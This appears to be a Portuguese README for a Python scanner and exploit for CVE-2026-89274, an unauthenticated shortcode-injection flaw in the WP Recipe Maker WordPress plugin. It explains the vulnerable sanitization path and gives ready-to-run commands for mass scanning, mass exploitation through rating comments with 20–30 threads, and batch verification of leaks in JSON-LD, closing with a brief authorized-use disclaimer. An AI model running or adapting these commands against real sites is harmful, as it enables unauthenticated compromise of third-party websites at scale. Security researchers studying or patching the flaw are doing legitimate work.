
Scanner PoC em Python e exploit para CVE-2026-89274, uma falha de execução arbitrária de shortcode não autenticada no WP Recipe Maker <=10.8.1 através de comentários de avaliação de receitas e JSON-LD.
Scanner/exploit PoC em Python 3 para CVE-2026-89274 no WP Recipe Maker.
| Plugin | wp-recipe-maker |
| Afetado | ≤ 10.8.1 |
| Corrigido em | 10.8.2+ |
| CVSS | 9.1 (Crítico) |
| Autenticação | Não autenticado (envio de comentário) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() executa do_shortcode() em campos de metadados antes de strip_shortcodes(). Comentários aprovados de avaliação de receita (wprm-comment-rating) populam o reviewBody do JSON-LD; shortcodes injetados são executados no carregamento da página da receita e podem vazar saída em dados estruturados.
Requisito: O comentário malicioso deve estar aprovado (auto-aprovação ou moderador). O modo exploit pode usar --verify para confirmar que o marcador aparece no reviewBody do JSON-LD.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt (modo verify)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| Opção | Descrição |
|---|---|
-u, --url | URL base de um único alvo |
--list | Lista de URLs, candidates.jsonl ou submitted_mass.txt (verify) |
--mode | check, exploit ou verify |
--recipe-url | URL do post com receita WPRM incorporada + comentários |
--post-id | comment_post_ID do WordPress |
--recipe-id | ID da receita WPRM (opcional --use-api) |
--shortcode | Payload no texto do comentário (shortcode de sondagem padrão) |
--marker | Verify: procurar substring do marcador no JSON-LD |
--verify | Exploit: confirmar vazamento no JSON-LD após o envio |
--use-api | Também tentar o caminho REST de avaliação de usuário Premium |
--threads, -j | Concorrência em massa (padrão 20) |
--output | Resultados JSONL (padrão cve_2026_89274_results.jsonl) |
--vuln-list | Saída de texto para hits/leaks (padrão hits.txt) |
--candidates-list | Metadados de hits do check (padrão candidates.jsonl) |
--quiet | Menos saída de progresso em execuções em massa |
| Arquivo | Conteúdo |
|---|---|
cve_2026_89274_results.jsonl | JSON por alvo |
hits.txt | URLs base candidatas |
candidates.jsonl | page_url, post_id, recipe_id, version |
status (check)| Status | Significado |
|---|---|
candidate | Versão vulnerável + página de receita com wprm-comment-rating |
plugin_no_recipe_comments | Plugin presente, nenhuma página de receita/comentário adequada encontrada |
recipe_no_comment_rating | Página de receita sem formulário de comentário de avaliação |
patched | Versão ≥ 10.8.2 |
no_plugin | WP Recipe Maker não detectado |
[caption])./blog/, /recipes/) podem não exibir vazamentos no JSON-LD; o exploit prefere permalinks de receita única ao descobrir páginas.--verify confirma apenas a reflexão no JSON-LD, não RCE completo..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Listas de varredura locais e artefatos de execução (list.txt, *.jsonl, submitted_mass.txt, …) estão no .gitignore e não devem ser commitados.
Apenas para testes de segurança autorizados. Você é responsável pela conformidade com as leis aplicáveis e regras do programa.